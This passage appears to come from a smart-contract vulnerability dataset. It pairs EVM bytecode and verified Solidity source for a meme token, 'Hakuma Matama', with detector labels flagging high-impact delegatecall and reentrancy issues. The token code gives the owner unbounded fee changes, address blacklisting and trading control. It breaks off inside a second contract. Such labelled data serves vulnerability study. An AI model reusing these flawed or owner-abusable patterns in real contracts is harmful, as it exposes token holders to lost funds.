b61049d610731565b6001600160a01b0316336001600160a01b031614156103a0576001600160a01b0381166104fb5760405162461bcd60e51b81526004018080602001828103825260368152602001806108556036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610524610731565b604080516001600160a01b03928316815291841660208301528051918290030190a161039b81610796565b60006105596106e8565b6001600160a01b03161461056c57600080fd5b610576828261057f565b61045383610796565b60006105896106e8565b6001600160a01b03161461059c57600080fd5b6105a5826107ba565b80511561065b576000826001600160a01b0316826040518082805190602001908083835b602083106105e85780518252601f1990920191602091820191016105c9565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610648576040519150601f19603f3d011682016040523d82523d6000602084013e61064d565b606091505b505090508061045357600080fd5b5050565b6000610669610731565b6001600160a01b0316336001600160a01b0316141561048a57610483610731565b3b151590565b610698610731565b6001600160a01b0316336001600160a01b0316141561036f5760405162461bcd60e51b81526004018080602001828103825260328152602001806108236032913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561072c573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61075f816107ba565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6107c38161068a565b6107fe5760405162461bcd60e51b815260040180806020018281038252603b81526020018061088b603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220e6fadd51b281dac9b5e7b119f723ec2de83d894bde920065b1c6ead1d5ab100c64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
8,354
0x69ee902073d62f4dbb4f4c1ffb0008848b684192
/** *Submitted for verification at Etherscan.io on 2022-02-07 */ /* Hakuma Matama Token! https://twitter.com/elonmusk/status/1358319935978496001 https://t.me/HakumaMatama https://twitter.com/HakumaMatama */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HakumaMatama is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Hakuma Matama"; string private constant _symbol = "HAKUMAMATAMA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xa1A5b028D251d4aaA63a0CD28D13b21CD16B9261); address payable private _marketingAddress = payable(0x9aF8679ed6c7B64BFb01a63224cf25B1fA3253E5); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610560578063dd62ed3e14610580578063ea1644d5146105c6578063f2fde38b146105e657600080fd5b8063a2a957bb146104db578063a9059cbb146104fb578063bfd792841461051b578063c3c8cd801461054b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104bb57600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461196a565b610606565b005b34801561020a57600080fd5b5060408051808201909152600d81526c48616b756d61204d6174616d6160981b60208201525b60405161023d9190611a2f565b60405180910390f35b34801561025257600080fd5b50610266610261366004611a84565b6106a5565b604051901515815260200161023d565b34801561028257600080fd5b50601454610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50670de0b6b3a76400005b60405190815260200161023d565b3480156102df57600080fd5b506102666102ee366004611ab0565b6106bc565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023d565b34801561033157600080fd5b50601554610296906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611af1565b610725565b34801561037157600080fd5b506101fc610380366004611b1e565b610770565b34801561039157600080fd5b506101fc6107b8565b3480156103a657600080fd5b506102c56103b5366004611af1565b610803565b3480156103c657600080fd5b506101fc610825565b3480156103db57600080fd5b506101fc6103ea366004611b39565b610899565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611af1565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610296565b34801561045c57600080fd5b506101fc61046b366004611b1e565b6108c8565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b5060408051808201909152600c81526b48414b554d414d4154414d4160a01b6020820152610230565b3480156104c757600080fd5b506101fc6104d6366004611b39565b610910565b3480156104e757600080fd5b506101fc6104f6366004611b52565b61093f565b34801561050757600080fd5b50610266610516366004611a84565b61097d565b34801561052757600080fd5b50610266610536366004611af1565b60106020526000908152604090205460ff1681565b34801561055757600080fd5b506101fc61098a565b34801561056c57600080fd5b506101fc61057b366004611b84565b6109de565b34801561058c57600080fd5b506102c561059b366004611c08565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d257600080fd5b506101fc6105e1366004611b39565b610a7f565b3480156105f257600080fd5b506101fc610601366004611af1565b610aae565b6000546001600160a01b031633146106395760405162461bcd60e51b815260040161063090611c41565b60405180910390fd5b60005b81518110156106a15760016010600084848151811061065d5761065d611c76565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069981611ca2565b91505061063c565b5050565b60006106b2338484610b98565b5060015b92915050565b60006106c9848484610cbc565b61071b843361071685604051806060016040528060288152602001611dbc602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f8565b610b98565b5060019392505050565b6000546001600160a01b0316331461074f5760405162461bcd60e51b815260040161063090611c41565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461079a5760405162461bcd60e51b815260040161063090611c41565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ed57506013546001600160a01b0316336001600160a01b0316145b6107f657600080fd5b4761080081611232565b50565b6001600160a01b0381166000908152600260205260408120546106b69061126c565b6000546001600160a01b0316331461084f5760405162461bcd60e51b815260040161063090611c41565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c35760405162461bcd60e51b815260040161063090611c41565b601655565b6000546001600160a01b031633146108f25760405162461bcd60e51b815260040161063090611c41565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093a5760405162461bcd60e51b815260040161063090611c41565b601855565b6000546001600160a01b031633146109695760405162461bcd60e51b815260040161063090611c41565b600893909355600a91909155600955600b55565b60006106b2338484610cbc565b6012546001600160a01b0316336001600160a01b031614806109bf57506013546001600160a01b0316336001600160a01b0316145b6109c857600080fd5b60006109d330610803565b9050610800816112f0565b6000546001600160a01b03163314610a085760405162461bcd60e51b815260040161063090611c41565b60005b82811015610a79578160056000868685818110610a2a57610a2a611c76565b9050602002016020810190610a3f9190611af1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7181611ca2565b915050610a0b565b50505050565b6000546001600160a01b03163314610aa95760405162461bcd60e51b815260040161063090611c41565b601755565b6000546001600160a01b03163314610ad85760405162461bcd60e51b815260040161063090611c41565b6001600160a01b038116610b3d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610630565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610630565b6001600160a01b038216610c5b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610630565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610630565b6001600160a01b038216610d825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610630565b60008111610de45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610630565b6000546001600160a01b03848116911614801590610e1057506000546001600160a01b03838116911614155b156110f157601554600160a01b900460ff16610ea9576000546001600160a01b03848116911614610ea95760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610630565b601654811115610efb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610630565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3d57506001600160a01b03821660009081526010602052604090205460ff16155b610f955760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610630565b6015546001600160a01b0383811691161461101a5760175481610fb784610803565b610fc19190611cbd565b1061101a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610630565b600061102530610803565b60185460165491925082101590821061103e5760165491505b8080156110555750601554600160a81b900460ff16155b801561106f57506015546001600160a01b03868116911614155b80156110845750601554600160b01b900460ff165b80156110a957506001600160a01b03851660009081526005602052604090205460ff16155b80156110ce57506001600160a01b03841660009081526005602052604090205460ff16155b156110ee576110dc826112f0565b4780156110ec576110ec47611232565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113357506001600160a01b03831660009081526005602052604090205460ff165b8061116557506015546001600160a01b0385811691161480159061116557506015546001600160a01b03848116911614155b15611172575060006111ec565b6015546001600160a01b03858116911614801561119d57506014546001600160a01b03848116911614155b156111af57600854600c55600954600d555b6015546001600160a01b0384811691161480156111da57506014546001600160a01b03858116911614155b156111ec57600a54600c55600b54600d555b610a7984848484611479565b6000818484111561121c5760405162461bcd60e51b81526004016106309190611a2f565b5060006112298486611cd5565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a1573d6000803e3d6000fd5b60006006548211156112d35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610630565b60006112dd6114a7565b90506112e983826114ca565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133857611338611c76565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138c57600080fd5b505afa1580156113a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c49190611cec565b816001815181106113d7576113d7611c76565b6001600160a01b0392831660209182029290920101526014546113fd9130911684610b98565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611436908590600090869030904290600401611d09565b600060405180830381600087803b15801561145057600080fd5b505af1158015611464573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114865761148661150c565b61149184848461153a565b80610a7957610a79600e54600c55600f54600d55565b60008060006114b4611631565b90925090506114c382826114ca565b9250505090565b60006112e983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611671565b600c5415801561151c5750600d54155b1561152357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154c8761169f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157e90876116fc565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ad908661173e565b6001600160a01b0389166000908152600260205260409020556115cf8161179d565b6115d984836117e7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161e91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164c82826114ca565b82101561166857505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116925760405162461bcd60e51b81526004016106309190611a2f565b5060006112298486611d7a565b60008060008060008060008060006116bc8a600c54600d5461180b565b92509250925060006116cc6114a7565b905060008060006116df8e878787611860565b919e509c509a509598509396509194505050505091939550919395565b60006112e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f8565b60008061174b8385611cbd565b9050838110156112e95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610630565b60006117a76114a7565b905060006117b583836118b0565b306000908152600260205260409020549091506117d2908261173e565b30600090815260026020526040902055505050565b6006546117f490836116fc565b600655600754611804908261173e565b6007555050565b6000808080611825606461181f89896118b0565b906114ca565b90506000611838606461181f8a896118b0565b905060006118508261184a8b866116fc565b906116fc565b9992985090965090945050505050565b600080808061186f88866118b0565b9050600061187d88876118b0565b9050600061188b88886118b0565b9050600061189d8261184a86866116fc565b939b939a50919850919650505050505050565b6000826118bf575060006106b6565b60006118cb8385611d9c565b9050826118d88583611d7a565b146112e95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610630565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080057600080fd5b803561196581611945565b919050565b6000602080838503121561197d57600080fd5b823567ffffffffffffffff8082111561199557600080fd5b818501915085601f8301126119a957600080fd5b8135818111156119bb576119bb61192f565b8060051b604051601f19603f830116810181811085821117156119e0576119e061192f565b6040529182528482019250838101850191888311156119fe57600080fd5b938501935b82851015611a2357611a148561195a565b84529385019392850192611a03565b98975050505050505050565b600060208083528351808285015260005b81811015611a5c57858101830151858201604001528201611a40565b81811115611a6e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9757600080fd5b8235611aa281611945565b946020939093013593505050565b600080600060608486031215611ac557600080fd5b8335611ad081611945565b92506020840135611ae081611945565b929592945050506040919091013590565b600060208284031215611b0357600080fd5b81356112e981611945565b8035801515811461196557600080fd5b600060208284031215611b3057600080fd5b6112e982611b0e565b600060208284031215611b4b57600080fd5b5035919050565b60008060008060808587031215611b6857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9957600080fd5b833567ffffffffffffffff80821115611bb157600080fd5b818601915086601f830112611bc557600080fd5b813581811115611bd457600080fd5b8760208260051b8501011115611be957600080fd5b602092830195509350611bff9186019050611b0e565b90509250925092565b60008060408385031215611c1b57600080fd5b8235611c2681611945565b91506020830135611c3681611945565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb657611cb6611c8c565b5060010190565b60008219821115611cd057611cd0611c8c565b500190565b600082821015611ce757611ce7611c8c565b500390565b600060208284031215611cfe57600080fd5b81516112e981611945565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d595784516001600160a01b031683529383019391830191600101611d34565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db657611db6611c8c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122024083faf76dc6b5fa090a6b5e7cbe654ce3e3f50a716dd434778413e6a4c970164736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,355
0xffd769c792d84a54b54a9ac2b808d09f63ca7074
pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } /** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * Supports unlimited numbers of roles and addresses. * See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. * It's also recommended that you define constants in the contract, 